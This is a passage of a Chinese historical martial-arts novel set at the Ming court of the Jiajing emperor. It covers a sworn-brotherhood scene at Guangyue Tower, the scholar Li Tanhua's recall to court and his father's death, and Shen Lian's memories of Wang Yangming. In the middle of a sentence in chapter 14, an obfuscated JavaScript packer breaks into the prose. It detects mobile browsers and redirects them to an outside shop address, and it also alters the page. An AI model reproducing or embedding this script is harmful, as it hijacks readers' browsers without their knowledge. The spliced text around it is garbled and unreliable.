同乡里的富户公孙家出生时请了他去测字,他因这孩子五行缺水,给他取名叫公孙雨。公孙雨家里倒颇有两个钱,他老爹今儿娶进一个小妾,明儿又收用一个使婢,生下孩子来一大堆,都不怎么爱管,家里乌烟瘴气,闹出许多男盗女娼的笑话来。公孙雨长到十二岁上,只和他们家一个护院的武师混在一起,他们家里的护院不少,这位少爷却只爱和最邋遢的那个交往,倒也奇。 孰知那落魄的武师,虽然平时得过且过,竟然藏着一身精深的北派武功,几年间将两口“阴阳刀”的工夫俱都传给了他。公孙雨十六岁时出了师,再也忍不了他们家里那个奇异的氛围,愤而离家出走。他的母亲,是公孙老爷的第九个小妾,自从儿子出走之后,便私下里典当钗环,送给易明湖,叫他替她看着儿子,是以易明湖也跟着跑到东昌来了,时不时地暗中接济公孙雨,后者对这些事情丝毫没察觉出来,只觉得这个他乡又逢着了的老秀才简直烦死了。 金凤白道: “既然是上顺天赶考,张兄弟你怎么从庆阳跑到东昌来了?” 张承勋大惊,“这里是东昌?不是历城?离泰安还有多远?” 大家默默地望着他。他无言以对,默了半晌,道: “其实,晚生家中横遭变故,自觉所有希望,全在这次中或不中。因此十分心焦,我在动身之前,拜访过我们本地的一位举人老爷,他说,他中之前,曾拜谒过泰山的石敢当,当晚梦见金光灿烂,竟中了。所以这次我也绕了点路,想到泰山进香……” 翁天杰道: “这儿是东昌府,从这儿去,四通八达,到聊城,到茌平,都近便得很,离济南府也不远。我那儿有好马,套上车,两天工夫就过去了。先喝一杯吧,你既然遇上了我们,就算没事了。” 张承勋盯着杯子,也不知道在想什么,蓄了一汪的眼泪,掉在酒杯里,连着一仰脖子都饮干了。这时候,传甲忽然道: “昔年在下……走镖的时候,曾经路过庆阳府,那儿有位张老善人……” 张承勋道: “那是家父。万牲园是我家的产业。” 原来他竟然是一位腰缠万贯的公子,流落在异乡,人人却都把他当成个穷酸秀才看。翁天杰又叫他不要担心,过一会儿,修书一封,给家里送去的好。张承勋却一把抓住他,道: “翁大哥,我……我……我不愿让家里知道这件事。求你借我些儿盘缠,等我试过回家,无论中与不中,都十倍百倍地把来还你,行么?” 翁天杰道: “唉!你总是说什么还不还的!只是这么大的事情,总还是叫家里知道的好。” 张承勋道: “不瞒大哥,其实小弟遭抢以后,贴身的还有一只玉坠子,拿去当了,还得了一两银子,我便是写了封信,将这一两银子做报酬,把与人家带信回家,只说我在泰安进香,一切都好。大哥,你不知道,我家的变故已是够多的了,要是再把这桩事告诉给我爹爹知道,非把他老人家气死不可!” 大家当然都很好奇,都把眼来望着他。张承勋抬起头来,看看席上这七八双眼睛全望着自己,好像迫不及待要听说书的孩子一样,顿时悲从中来,觉得人生实在是荒唐极了。但他自己心里也十分憋闷,因此说说也好。便吸了吸鼻子,道: “如诸位所知,我家里有些产业。我爹人称‘张老善人‘,他老人家平日里最乐善好施,在我们那一方土地声望很高,多少乡里人都指着在我们万牲园做工糊口呢。后来来了个新的县官,这人的官原是捐来的,做事半点情理不讲。当年他到任之时,我爹还曾带礼去贺,想不到他开口就要我爹绞一道什么’人情捐‘。请问世上哪有这种道理!他来在我们安庆三年,今天这个捐,明天那个税,我家的门槛儿都快被他踏破了。我动身赶考之前,因和他顶了两句嘴,他竟寻了个由头把我的一个族叔给拉了去押在监里,花了整整三百两的纹银,才把人给救出来。请问这样的日子如何能过得?迟早我们家要被他连骨头一块拆干净!因此我说,我若是考不出这个举人,不能压上他一头,我们家就完了!像一棵不能动的参天大树似的,要被他伐倒了!” 几人听了,都默默无语。易明湖叹道: “这个世道!唉,你要是不压别人,别人就来压你。总是压来压去,有什么意思。” 他就自吃酒。苏苏柔声地安慰这张承勋,叫他不要太过气苦,虽然路上遇到了艰险,可是毕竟苦尽甘来,又逢着了好人,这就是他的造化。这些天里只管吃好睡好要紧。老天爷是知道谁该中,谁该得报应的。张承勋长长地叹口气。 忽然金凤白却走到他身边,将他拉了起来,只道: “张兄弟,你来看。” 张承勋不明就里,和他一起走到栏杆边上。只见万里的大好晴天,一陇陇葱绿的田地,近处鳞次栉比的房屋,护城河在其中穿插交错。远处却有一片连绵的山峰,黛子一般的青色,在天边远远一画。金凤白道: “你猜那是什么?” 张承勋睁大眼睛,不知他什么意思。金凤白笑道: “张兄弟,我告诉你,那是泰山。” 张承勋深深地、久久地凝望着那远处的山峦。泰安州其实远在百里之外,可是这十丈的高楼,就是能一直看到那么远。这是很难得的一件事。因为在我国漫长的历史之中,本朝以前,没有这座九丈九的高楼,本朝以后,又没有这么好的空气质量。总而言之,这是两千年间昙花一现的一望。 他喃喃地说: “那就是泰山。” “是啊!你要向石敢当求保佑,何必亲自到那乌烟瘴气的庙里头去!” “泰山原来离我这么近。”张承勋感慨万千地道,“又……这么远。” 金凤白摇摇头,抛下他回来坐着,笑道: “他也痴了。” “还不都是你招惹的!” 此后几人觥筹交错,吃喝尽兴。席间,张承勋问金凤白道: “金兄既然也是学里朋友,此次大比,可要同行么?” 凤白笑道: “我是什么学里人!不过是穿这一身好看罢了。” “哦!”张承勋大为无奈。原来这金凤白虽然爱看书,但看的都是些闲书、杂书,对八股文章一点也不上心,只爱作些轻快小诗,附庸风雅。因为没别的什么朋友,他常常把自己写的诗拿给老秀才看,可是易明湖虽然自己屡试不第,总还惦念着经世致用的正道,结果总是将他骂上一顿。然而话说回来,他那诗的确写得乱七八糟。当下,凤白多吃了两杯酒,诗兴大发,吟出一韵: 风轻云淡日子好, 光岳楼上青山邀。 群贤毕至兰亭会, 犹梦桃园义气高。 易明湖就骂他作的诗实在太烂,屈大夫濯足沧浪,他这点才华,只配喝人家的洗脚水。他还美滋滋地说:“我不和屈子比,只管自己高兴。” 边浩将这首诗念叨了几遍,倒觉得非常爽口,道: “‘犹梦桃园义气高’,好,好,我们何不就在这儿效仿桃园结义?” 大家都说好,老秀才反对也没用。于是叙起年齿来,翁天杰更把传甲也给拉上。算来,当然是易明湖的年纪最大,但公推的首席是翁天杰,于是排定了:翁天杰第一,易旷第二。 往下是边浩第三,他极力地推辞,说他在家里明明排行老六。翁天杰道:“得啦!你还能走到哪儿去都坐稳这第六把交椅!”将他摁下。 第四个是金凤白。第五个是传甲。第六个是张承勋。第七和第八,公孙雨和西门烈争了一会子,都不肯当老幺,而这个问题他们也早已争了有年头了。最后还是苏苏道: “咱每的小叫花今年才十四,当然是老幺。”西门烈只好垂头丧气地将这个老幺做定。 几人端了酒杯在地下按次序站定,可是翁天杰非要让苏苏也掺和进来,他说他和苏苏是一个人,他是大哥,苏苏就是大嫂子,结义当然也有她的一份。苏苏哭笑不得: “呆子,哪里有和自己的老婆结拜的!我给你们作个见证才是。”翁天杰只得作罢。那么八个人将酒喝了,就算结为了兄弟。西门烈最爱听说书,此刻一心要拣一个像演义里那样的响亮名字,这儿既然是光岳楼,便摇头晃脑地要叫个“光岳八什么”,易明湖凿了他脑门一下:“八什么!叫你念书,你瞌睡!” 西门烈跳脚道:“就你会念书!你补上这个‘什么’来!” 老秀才遂沉吟半晌,一抬头看见了他放在角落里,和边浩的那杆大枪靠在一起的算卦的布幔,上头写着他易义堂的名号,便道: “不如就叫光岳八义吧。” 大家都说这个义字好。边浩又摆手道: “不行,不行,出了东昌,谁还知道个光岳楼!竟还要再响亮些好。” 易明湖道: “不害臊,难道你要叫个‘大明八义‘才响亮?” “老秀才忒没志气!当然要当就要当响当当的大英雄,大明八义怎么了?就是听着像大王八。”大家都笑着来推他,然后掰着指头数怎样才好,大明太大,东昌太小,不如竟叫个中原八义得了。翁天杰当即一拍桌子: “好!今天就是我等中原八义结义的日子。大家今后就是兄弟了,要把这义字当头,侠气为先才是。喝酒!” 众人纷纷称是,于是又喝酒吃菜,浑闹了一天,翁家夫妇又苦留张承勋在家里住了三二日,七月中旬,翁天杰找了五十两银子,雇了辆车,打发他上顺天赶考去了。 *《儒林外史》 14. 功名无地不黄梁 沈炼要拿翁天杰,陆炳要拿李孝元,各有各的心机。且说李探花离了家,和两个公人一同到了北安门外,当日叫梓潼庙文昌宫,后世人称“帽儿胡同”的,北镇抚司的衙门就设在此处。李探花和诗音同游京城,曾经过这里,只没朝胡同里面拐。北安门外的大街虽然热闹,可是一到镇抚司衙门前,一股肃杀气氛,仿佛从低垂的绿色琉璃瓦的屋檐下滚滚地滑落下来。 他跳下地去,把马缰绳向后一抛,径自进去了。原来陆炳早已在大堂里等着他。两人彼此见礼。陆炳亲自引他上座,细细地问他这一向可好?家里可好?他一一地都回答了。陆炳叫他喝茶,他喝了,陆炳叫他吃点心,他也吃了。然后笑了笑,半伏在两人之间的檀木方桌上,手撑着脑袋道: “文孚公不是叫我做饭桶来的吧?” 陆炳笑道: “做饭桶岂不比做堂官清闲自在多了?你瞧瞧。” 他说着便随手把一折文告递了过去。李探花心想索性这一遭是躲不过,不推辞地就接了。原来是说,镇抚司私访查到大学士翟銮和九边将士往来勾结,对方暗中送给他许多京城见不到的奇珍,云云。陆炳道: “近日翟大学士可巧又向皇帝上书,请求嘉赏张世忠等在山西力战殉职的将士,皇上一一地都应了。这时候出这档子事,可不是叫皇上和大学士脸上都没光么?好像这份光荣是边将们买来的一样。我看,索性就将此番头绪给按捺下,千万别叫它在此时发作。” 李探花嗯了一声,陆炳又道: “镇抚司行事不比别个,镇抚司,可不是什么贪官、酷吏窝藏之处。镇者,平定也;抚者,安慰也。京城安宁不起事端,让皇上和诸位大臣们能够高枕无忧,千年万年,这是最重要的。” 李探花道: “我知道了。” 陆炳因握着他的手道: “怪我平时总想着对人应当宽厚些,一些事情睁一只眼闭一只眼,叫下面的人放纵惯了。我叫他们去请你,谁知道闹出什么差错来了?你只说是哪个开罪了你,罚下他去。” “没有,两位大人办事都很好。” “唉,你怎么反叫起他们作‘大人’来了!我早说过,单你这身武功,就是当今一等一的人才,做个翰林清贵,岂不是浪费了?想从弘治年间,翰林院就传出一句歌子,怎么唱的来着?‘一生事业唯公会,半世功名只早朝’*,虽说内阁的学士大都出自翰林院,可芸芸士林,多的是钻营之辈,像你这样不会钻营,又不肯说违心话的孩子,前途有多艰险,你自己还不知道!依我看,咱每镇抚司才是你能放开手脚,有所作为的地方。明儿我就带你进宫面圣,圣人是一向里说过‘李孝元这人可惜’,如今一定欢喜,那还不授你个千户做做?那才叫一步登天哪。要知道,我自己可是从舍人做起的。” 说罢哈哈大笑起来。 陆炳对他是很亲近的。当年,李探花为了进诏狱去见哥哥一面,就寻了个黑夜里无人的时候,不管不顾地求见;当时的情形真是好险,要知道陆大人身为堂堂的北镇抚司都指挥同知,实际上的锦衣卫指挥使,身边总跟着三五个江湖上重金礼聘来的好手,反应极快,也下得去手杀人,要是陆炳再晚上一瞬息的工夫没制止他们,几个人立刻就要五把刀将李探花解成一地尸块。当时,这个忽然蹿墙越脊,落在陆炳眼前的少年,只是一言不发地跪倒在他眼前。数把利刃寒光闪闪,架在他的脖子上,他一动也没动,只是拿眼看着他。那湿润的目光,令人心上发痒。 李探花也笑道: “我呀,在家里趴了半年,想想自己都干了些什么,真是吓出一身冷汗来。皇上能饶我一条小命,不叫我做了那令我爹爹无后的罪人,就算我的造化了。哪里敢再到皇上跟前去现眼!” 陆炳只道: “有我呢,你怕什么!” 当晚便带着李探花进宫面圣。当其时,嘉靖皇帝正在西苑由一帮学士、道士们陪着,参读经书。大家围坐了一圈,头顶上都戴着香叶冠,严嵩更是在冠上还蒙了一层轻纱。陆炳和皇帝是从小一起长起来的,他的母亲,就是嘉靖皇帝的奶娘;皇帝十五岁上得了国,叫他也跟着发达了,皇帝对自己的堂哥不大客气,待他倒亲厚得像亲兄弟,赐他剑履上殿的荣誉。只这陆炳是个谨慎的人,从来恭敬小心,在殿外弯着腰,对守门的小太监说: “劳您跟我说说,皇上今儿的心情怎样?” 那小太监笑道: “是陆大人哪!皇上今儿却有点不大高兴,可是见了陆大人,就一准保是云开雾散了。” “皇上为什么不高兴?” “总是今儿请的卦不大好,要么就是几位阁老的青词,他不大满意。您快进去顺顺皇上的气儿,也叫咱每这些奴仆们放心哪。” 陆炳笑道: “若是嫌文章不好,那我可是瞌睡给皇上送枕头来了,我可把当朝的文曲星给他带来了!” 那小太监是这三个月里新换的人,不认得李探花,虽然早注意到了,可不敢招呼,怕哪一句话说错,此时也谄媚着道: “那敢情好了!我这就通报去!” 说着,一溜烟地跑进去了,两人稍等了片刻,便听到里面传。李探花跟着陆炳进去,倒不像他当日面圣时那样七拐八拐地走上好久,而来在一间阔大的屋中,屋里香烟缭绕,七八个人陪皇帝坐着,严嵩也在其列。李探花挨个地行了礼,就退到门边站立。皇上没表态之前,大家总不大敢和他说话。陆炳倒是颇有些随便地到了皇帝的身后,见他戴着这香叶冠,不禁啊呀一声,跪倒在地。 连皇帝也不免奇道: “朕从上次见你,不过多戴了一个香叶冠,有什么好大惊小怪的,难道朕不曾赐给过你这一只顶戴?” 陆炳抚掌道: “皇上一定知道那个故事,据说,昔年梁武帝时,慈航普渡真人就曾经化身下界,号称宝志大士,那梁武帝有一遭派名画家张僧繇去给他画像,孰知宝志大士竟然在他眼前化身千万,十二面法相,面面俱到,庄严无比,或慈或威,叫张僧繇压根儿就画不出。那张僧繇回去以后恭恭敬敬,战栗若狂,险些从此丢了画笔。皇上在咱每臣子的眼中亦复如是,咱每做臣子的,日日供奉在皇上左右,参详圣像,真叫个战战兢兢哪!” 当时在场侍奉的都是文人和道士,全天下口齿最花的人,眼见得这一番话不是从自己嘴里说出,却是由陆炳这个镇抚司的武官给占了先,不由得咬牙切齿。那陶仲文便道: “是啊,是啊,譬如这一顶香叶冠,便能叫我等日参详、夜参详。皇上说是请我等到宫中来主持斋醮,我等实是来参悟天机的;可是天机一望之下,便知不可参。不可参。” 他连连说着,连连摇头。 皇帝笑道: “得了,朕今年都快四十了,还能吃你们这帮狗屁哄!” 可是陆炳这么一说,显然他的心情好了不少,便抬眼望向李探花,道: “李孝元,你一向是个贫嘴的,怎不说话?” 李探花道: “吃了皇上一顿好打,把臣给打服了,千服万服,哪里还敢说话?” 皇上大笑,伸手指点着他: “瞧瞧,他还委屈上了。你啊。过来。” 李探花便静悄悄地走到皇帝身边来,在他身边坐下。皇上伸手拍着他的肩膀,搂他的脊梁,说: “朕多盼着你懂点事!眼下果然吃到些教训了没有?” 李探花仰着脸,乖乖地答: “再不敢了,皇上饶了我吧!” 皇帝大笑,又推了他一把: “去,明日的斋醮要一份青词,你就去写来将功折罪,写不好呢,朕可不饶你。” “要是写得好呢?” 皇帝笑而不语。李探花就默默地去了。 嘉靖宫中的大小斋醮和供奉,是连年不断的。要斋醮,就要青词,皇帝事上天如臣事君,上青词就犹如臣下给皇帝递奏章。这青词的讲究不少,道教尚青,总是用朱砂笔,写在一张青色的纸上,格式要十分规矩;用词要十分的繁丽风雅,总要让上天知道人间有多么安详和太平,嘉靖皇帝的文治武功有多么的盖世无两。这就和一个残虐百姓的县官,却在上司面前粉饰太平,是一样的。 皇帝有一偏殿专供写青词时用,写的时候,要恭敬端肃,屏息凝神、一蹴而就才好。李探花的文笔是出了名的都丽娴雅,一旁的小太监给磨好了朱砂,他提起笔来,在唇边抿一抿,便不歇气地写下去,片刻即成,拿出来给皇帝看,他竟连声赞了五六个好,这是以往从来没有发生过的事情。本朝的大臣们,要求官声的发达,必须会做两种文章,一曰八股,二曰青词,自然他们也个个都是顶在行的青词鉴赏家,如今读了李探花的篇章,一个个地牙缝发痒,恐怕这座殿堂之中,就要再出一位“青词宰相”了。大家倒不怕它出,只怕出来不是自己。皇帝拉住李探花的手说: “好个风流儒雅探花郎!你就在朕的身边,替朕日夜值守西苑罢!” 李探花笑道: “臣要做大学士还差得远呢,哪里指望能留值西苑?只是陆大人看得起我,叫我留在镇抚司当差,少不得我得打更巡逻去,皇上睡不着的时候,可要记得有一个倒霉的李孝元,敲着梆子满街乱走,天干物燥呀,小心火烛……”大家都笑。 自从旧年的宫变以后,皇帝再不上朝而长居西苑,内阁学士们也就随着到西苑来了,诸位总以能长值西苑为做文臣最大的荣耀。皇帝说: “陆文孚!好小子,你竟捷足先登啦?” 陆炳扑到前头来道: “不敢不敢,捷足在皇上之前,我就有多的几个脑袋,还怕折寿呢!我这不是把他给皇上带来了吗?皇上要是喜欢他,他小小年纪的,提拔太过不像话,竟就叫他管着内教场,住在宫里,随时听用,岂不便当?要我说,严大学士长值皇上殿里,咱每的小李探花长值皇上殿外,我不怕别的,就怕他俩争宠打起来。” 大家哄堂大笑,严嵩道: “亏得个李孝元还总叫我一声严老师,瞧瞧,果然他一代新人要换了我这个旧人下去喽。怪道辛丑开科那年,我就梦见有星星落在太液池里,原来应的竟是天上的文曲星。说起来,和他同科的,点了状元的沈坤,点了榜眼的潘晟……竟再没什么人有大出息。”说着装模做样地摇头叹气,“说争宠我是有心,可没这个脸;说打起来,我这把老骨头可打不过他。” 把皇上笑得了不的,上气不接下气地指着他说: “严卿,你啊!你啊!” 笑得够了,便当即叫李探花动笔拟了驾帖,点他自己当内教场的总管,授官锦衣卫勋卫,加指挥使职俸,寄禄在南镇抚司。这消息传出去,朝中震动,流言纷飞。大家本来以为皇帝已将他黜落,这一生的功名,算是完了,没想到竟然不过半年便即召回。看来这半年就不是给皇帝消气儿的,竟是给李孝元养伤的。既然盛宠优渥如此,当日又何必打他那么重呢?大家纷纷地猜来度去,总也没个答案。 从此李探花便长居西苑了。每天清早起来,带着内教场操练,这是小事,大事是应皇帝的召,终日在他身边侍奉,做他讨好上天的御用笔杆子,不觉得下半个年头也渐渐地过去。他自从挨了那顿打,本以为大好了,然而每到阴天或暴雨时节,便仿佛一直痛到骨髓里,冬天一来,更觉苦楚,颇思告假回家,总开不了这个口,只是一天天地挨过去。 入了腊月,他在玉熙宫外头值班,恐怕皇帝得了闲要用他,就只在台阶上闲坐。眼见得不远处的太液池也都冰封了,上下一片的白茫茫,忽然想到诗音也在这宫殿的某个角落,不知她怎样了。这么一想,心中充满了柔情蜜意,又不想回家了,只想一生一世,和表妹待在同一个地方。他就这样等了好久,想了好久,看了好久。旁边那守门的小太监,颇为奇怪地望着他,不知道何以这俊雅、快活的探花郎,陪着皇帝的时候那么诙谐和机灵,一刻也闲不下来似的,可是独处的时候,又常常一连几个时辰地发着呆。好像他的一具身体里有两个灵魂。一个灵魂才十八岁,另一个,怕有八十岁了罢。 后来他不得不过来把他从长久的沉思中唤醒,道: “李探花,皇上传呢。” 皇上午睡醒来,神思困倦,和李探花说了一回宫里怎样过年的事,李探花说: “臣给您在树上挂满彩灯,好不好?” 皇上笑道:“瞧把你能的,你能爬到琼华岛的广寒殿上去,我才服了你。” 李探花一本正经地说:“能爬是能爬,可是怕冒犯了祖宗,遭雷劈。”皇帝就笑,指着旁边的一本闲书道: “好久没看这些闲书了,给朕念念。” 李探花拿起来一看,原来是他平时看着解闷儿的一本《麓堂诗话》,是正德朝的首辅大学士李东阳所作,只不晓得怎到了皇上这里。他就坐在皇帝榻边地上,随便打开一页,念将下去,直念到: 举世空惊梦一场,功名无地不黄粱。 凭君莫向痴人说,说向痴人梦转长。 这是李东阳的朋友,翰林院掌院使陈师召,有一天做了个梦,他这人素有些呆气,巴巴地写信把这个梦告诉给李东阳听。李氏遂回了他一韵。 念完,李探花也不知道想些什么,竟默了半晌,仿佛就这样忘却了人间。 皇帝也不生气,只撑着头歪在榻上,看着他。今儿阴天,殿里早早点上了蜡烛,烛光辉映,只觉得他做这个探花郎真是十分地相宜,不免伸手拉他过来,和自己同榻而息。这李孝元也真不客气,一会的工夫就睡着了。 等到当日稍晚些时候,为着过年要斋醮的事,沈贵妃过来见皇上。嘉靖的嫔妃虽多,可是没有一个像沈贵妃那样投他脾性。皇帝对道门的喜好尽人皆知,可是玄门义理,不是脑子里想想就能学得通的,这沈贵妃竟好似宫中的一位女冠一般,谈玄说理,连等闲的道士也比不上,因而皇上爱她。 沈贵妃进来一瞧,却见皇上的榻上隐约睡着一个陌生的少年,皇帝自己站在案前画着一张黄符,见她来了,笑道: “你可见过这样的么?本是来轮值的,自己倒呼呼大睡起来了。今夜的斋醮不必叫他了,咱们自己去。” 沈贵妃走到皇帝跟前,纤纤素手,戴着一串水色极好的玉镯,叮当作响,霓裳广带,飘渺若仙。这样的美人儿,柔柔地从身后拥住了皇帝,并且伸手过来牵住了笔尾,竟是将那张符给一毫不差地画完了。符纸总是要求一笔不断,她从中间续来,看上去竟像是一个人画的一般。皇帝心中更爱,道:“好,好。我俩做一对和合二仙……”对沈贵妃圣宠有加不提。 且说今日斋醮,坛子设在大高玄殿。临走时,沈贵妃还是忍不住去看了看榻上的那少年,见他烧得一塌糊涂,不知道在做什么梦,用力地抓着手边的丝缎,心中不免起了怜惜之意,便走出去叫她最贴心的宫女儿林诗音过来,悄声道: “我今和陛下斋醮去,你留在这儿罢,里面那可是个什么人呢?你看看去,可怜见的。” 诗音等候着一干人等都走了,玉熙宫清闲了下来,她才独个儿走进去。靠近一看,吓了一跳,又不知道他做的什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995990|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么梦,默了半晌,柔声道: “表哥。” 她好几次伸出手去又缩回来,仿佛怕有人在旁边看着似的,朝两面和天顶上望了望,终于伸手轻轻地将一缕发丝从他的眼前拂开。 离上次见面,又是一年过去。她今年十五岁,表哥也有十八岁了。原本她以为今生今世再见不着他了。她毕竟还是个孩子,总想着一生一世的事。起先她得着消息,好几个月没睡好觉,以为他给打死了,那真的是能打死人的;道听途说来许多消息,有的说他死了,有的说没死。后来她又一夜夜地做梦。做一个关于柔软的、自由的、拂不去也挥不来的云堆的梦。 当晚诗音照料了他半夜,眼看着天光发亮,娘娘和皇上就要回来了,心里盼着他醒来,两人好说说话,又盼着他不要醒来,让她就这么在一边坐着,候着,看着,盼着,这样就很好。后来李探花还是醒了,看见她,怔了一下,后来才说: “我做梦了。” 诗音问: “表哥,你梦见什么了?” 李探花伸手轻轻地沾去她脸上的泪珠,道: “梦见了你。” 诗音忍住泪水,将脸别开了。 再过几天,皇帝终于大手一挥道: “李孝元,你出宫过年去罢!明年开了春儿,可要精精神神地回来当差。”李探花神思恍惚,连自己回了没有,回了些什么都记不起来了。当日出宫去,到北安门外领了他那匹马,想想自己和这马都是半年没见,简直好笑,就又笑了,伏在马背上,搂了一下马脖子。北安门外的那个管事的,探出头来说: “李探花,莫不是你老人家么?” 便将几封书信拿来给他。原来是上个月宅子里送来给他的信,打开一看,觉得简直一个字也不认识,索性又袖了,骑上马回去。李丙见了他,起初还不大相信,后来见他憔悴得不像话,还是一切闲话免问,先将他拉进屋来,安顿着睡下。等他醒过来,又是第二天了,李丙就在他跟前坐着。两人一句话也不说,过了半晌,李探花道: “李丙,你为的什么事送信去给我?” 李丙支支吾吾地半天说不上来。李探花说: “那你把信拿来罢,我自己看。”李丙也不动。李探花又说: “出去。”他就默默地出去了。李探花躺在床上,又看着窗外,新年了,家家户户结着大红的灯笼,独他家一个结着的是白的灯笼,于是用被子蒙住脸,呜呜地哭了一场。 大年三十的这一天,连总板住一张脸,被所有同事嫌弃的胡云翼胡大人,心情挺不错,提着整整一斤的猪肉往家里走,要叫胡小娘包饺子,夫妻两个,加上小娘的双亲,四个人一块吃,还有酒呢!这又是折色抵给他的,但是胡二最爱喝酒,过年了,就叫他美上两口也不妨。这样想着,推开家门,喊小娘过来把肉和菜接过去,却不见她的人影儿,大概是和附近的孩子们一道放炮仗去了。云翼走进院落,吓了一跳。他家的院子里站着一个人。 他径自把东西拿进屋里放下,出来望着这人道: “李孝元,你大过年的这是怎么啦?” 李探花刚要说话,还没说出口,自己已先哭了,把云翼哭得心烦意乱。无奈何,将他拉进屋里,在桌前摁下,道: “有话好好说!哭什么呢。” 李探花两手抓住他的袖子,说: “云翼,我有事求你。” 云翼嘴里有许多刻薄话,但到嘴边又咽了回去,终究道: “说罢。你飞黄腾达的小李探花,却有什么用得着我这个穷鬼、木头、不知变通的杀才、蒸不烂的铜豌豆?” 李探花也不说话,低头就从袖里往外掏金子,一连掏出来七八锭,他说: “再多拿不了了。”把金子全推在云翼面前。云翼叹了一声,道: “怎么我每次碰上你,都见着你在送钱?” 李探花仍然这样泪水涟涟地瞧着他。云翼马上明白他要说的是什么事。做御史的,官职卑小,可是声音大,核查百官行迹,能直达天听。于是常常有人指使御史们做其喉舌,党同伐异,这号人在云翼家里只有被打出去一个结局。云翼板着脸道: “这种事情,我一辈子也干不了!” 李探花拉着他的手说: “你爱惜名声,那就不要你亲自来,好不好?你拿出金子来,自有人乐意。我不害人家的,你们弹劾我一通,说什么都行,说我天天逛窑子,说我在家乡欺男霸女,说我在镇川口勾结外官,说我杀人,说我不忠不孝不仁不义,怎么说都行。” “你疯了,我看你还是回家去吧。我送你回去。办完年货,这儿还剩了十枚,我给你雇辆车。” 云翼说着就要往外走,李探花拉着他的衣角,仰着脸说: “求你了。我家上个月来了信,说……说今冬难熬,我爹爹……我想回家。不是顺天的宅子,我想回我保定城里的那个家。”说着又哭了。云翼给他拿了块帕子,叹气道: “你在皇上面前是能说得上话的,为什么不向皇上说明白呢?” “我这次出宫来,才拿到那些信,都已拆开了……皇上又叫我过完年回宫当差去。我和一个装糊涂的人怎能说明白呢?” “嘘!” 云翼真想骂他一顿,或者不是他,是随便什么人地骂上一顿,但此时一句话也说不出来,他道: “我给你雇车去。” “你答应啦?” 云翼好像是嗯了一声,又好像没有,脚步重重地往外走了。过了三天,他上书弹劾南镇抚司指挥李孝元这人简直不忠不孝,他老爹死了,按制应当回乡丁忧,可是他却私自将这消息给按捺下,这不是贪图禄位,忘了人伦么!简直太不像话。 云翼上书的时候,是做着被驳回甚至被申斥的准备的,没想到这一封奏折上去,不知道朝中哪位大人或者大家都早看李孝元不顺眼,弹劾他的奏章倒如潮水般地涌了来。过完年,李孝元回宫当差,心里七上八下。皇帝指点着内阁送来,加了票拟的奏章,冷笑道: “这帮东西,真是一有机会就要和朕作对。看来朕让他们的日子过得太舒服!” 李探花道: “各位大人们说的是,臣是应该回家了,要是皇上恩准……” “哼!你懂什么,这和昔年大礼议时候何其相似!这帮大臣,不是为了和朕争是非,不过是为了争这一口气。朕要是顺着他们的话说,叫他们得了逞,往下他们就该骑到朕头上去了。” 是以将票拟统统推翻了,留李探花夺情在京。这一场闹,又是一帮人的升迁黜落,一帮人的午门外摁倒了挨打,大概到过了一个多月,嘉靖皇帝才终于笑道: “而今朕总算将这帮不知死的东西给调理好,也能放你回家了,不然,显得朕怕了他们、当皇帝却反而要听大臣的话似的!可是你尽管照料着家里的事,对身上的职责却也别闲着,眼看要大比,听说有些人却不老实,你在直隶多帮朕掌个眼。我把顺天的会试交给你,你这个前翰林,当个会试的考官,能行不能?” 李探花当即跪倒在他脚下,领旨谢恩。顺天的贡院虽然在京,但眼下此案的关节却在直隶,皇帝的意思,是叫他回家探亲和办事两不耽误,感激之情,当然溢于言表了。便领了牌子,出京去。 *《玉堂丛语·卷之八-谐谑》焦竑: 西涯在翰林时,偶失朝被罚,翰林旧有语云:“一生事业惟公会,半世功名只早朝。”言其清无事也。至是,西涯续二句云:“更有运灰兼运炭,贵人头上不曾饶。”一座哄然。 15. 君孰与不足 深夜,茌平县令沈炼屋中的灯火仍未熄灭。他近日刚接到了几个同门的信,确切地说,是个包裹。这包裹却是从九江府送来的,里头有几册新近刊刻的《王文成公集》。这是一部涵盖王阳明一生著述的大书,虽然他本人是不肯作些什么经文来给后人传颂的——孔子删述六经,朱熹又给加了注疏,就是这两样东西,让天下人的思想犹如裹在湿牛皮里,一日紧似一日。可是架不住而今他死了,学生们搜集了他的只言片语,随辑随刻,如今出到第八卷。 沈炼一将书卷翻开,再放不下。好像老师还在眼前一样。少年时代,他总是随着老师不断地行走,数量不定、随时增减的几个人,两三匹马,马背上驼的一点行李,结伴穿越过大半个中国,他们在深夜里闯过山贼的城寨,老师当日是五十岁的人,名满天下的兵法家,曾空手退过叛贼的兵马,面对那几个强盗自然是不曾畏惧,他和沈炼一人折了一根树枝,杀得对方丢盔卸甲。 少年的沈炼自然是很得意了,老师只微微一笑,道: “好。走吧。” 几人继续在夜晚的山道上行走。进这片山之前,早已在山口的客栈问明了路,总之只要过了土匪盘踞的那个岗子,再走上一个多时辰,就又复人烟了。既然已经不需要为了躲避土匪而掩藏声息,黑夜又如此寂寞,大家就乱纷纷地谈天说地起来,王阳明尤其健谈,讲他昔日给发配到贫瘠的龙场所过的那种茶梗水样清贫、苦涩的生活。可是沈炼把那根树枝随手插在腰带里,说: “老师,你干么不高兴?” 阳明微笑道: “我哪里不高兴?我瞧你的剑术进益很大!等到了冬天,我还要把剑法的另半套传你。你学成了,我再送你一口真正的宝剑。……我本打算把那口宝剑送给曰仁的,当时我已传了他全套的剑法,可是他还未参透。我在衡阳时就想着这件事了。” 徐爱曰仁者,是王阳明第一位入室弟子,而且娶了阳明的妹子。两人亦师亦亲亦友,是一时的佳话。阳明早在平了南赣兵乱的那时节,就已被好事者称之为圣人,则徐爱常被说成是王圣人的颜回。他也像颜回一样寿短。沈炼没见过他,却读过王阳明给他写的祭文,王阳明平日有简洁、静美的作风,其文亦如其人,但那篇祭文相对于他别的作品而言简直是颠三倒四。满篇里语无伦次地说:我本来以为是做梦,可它成真了;成真了的事情,假如是梦就好了。我们一起谈论过梦。那假如是梦就好了。 